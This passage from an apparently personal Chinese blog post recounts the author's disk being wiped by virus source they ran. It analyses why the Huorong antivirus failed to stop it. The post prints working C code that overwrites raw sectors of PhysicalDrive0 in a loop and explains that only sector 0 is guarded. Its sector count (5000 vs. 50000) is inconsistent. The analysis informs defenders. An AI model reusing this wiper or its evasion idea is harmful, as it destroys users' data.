admin管理员组

文章数量:1586541

前言

由于我自己是一个系统安全爱好者,之前下载了一个能覆写所有扇区的病毒源码,我以为火绒可以保护我的扇区,我就傻乎乎的调试运行了,然后火绒把mbr写入拦截了,我以为没有任何问题了,已重启,哦,Missing Operating System。

在痛失电脑之后,我一直在想病毒是如何做到火绒报警了但是还是写入了扇区?后来我简单分析了源码之后,我看到了这样的一段代码

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nCmdShow) {
	HANDLE drive = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
	DWORD wb;
	unsigned char *bootcode = (unsigned char *)LocalAlloc(LMEM_ZEROINIT, 512);
	SetFilePointer(drive, 0, NULL, FILE_BEGIN);
	for(int i = 0;i < 50000;i++){
		WriteFile(drive, bootcode, 512, &wb, NULL);
		SetFilePointer(drive, 512, NULL, FILE_CURRENT);
	}
	CloseHandle(drive);

这个病毒从0扇区开始写,写入了前5000扇区,而火绒只会拦截0扇区(也就是MBR)的写入!所以病毒运行之后火绒虽然拦截了MBR写入࿰

本文标签: 扇区主动dll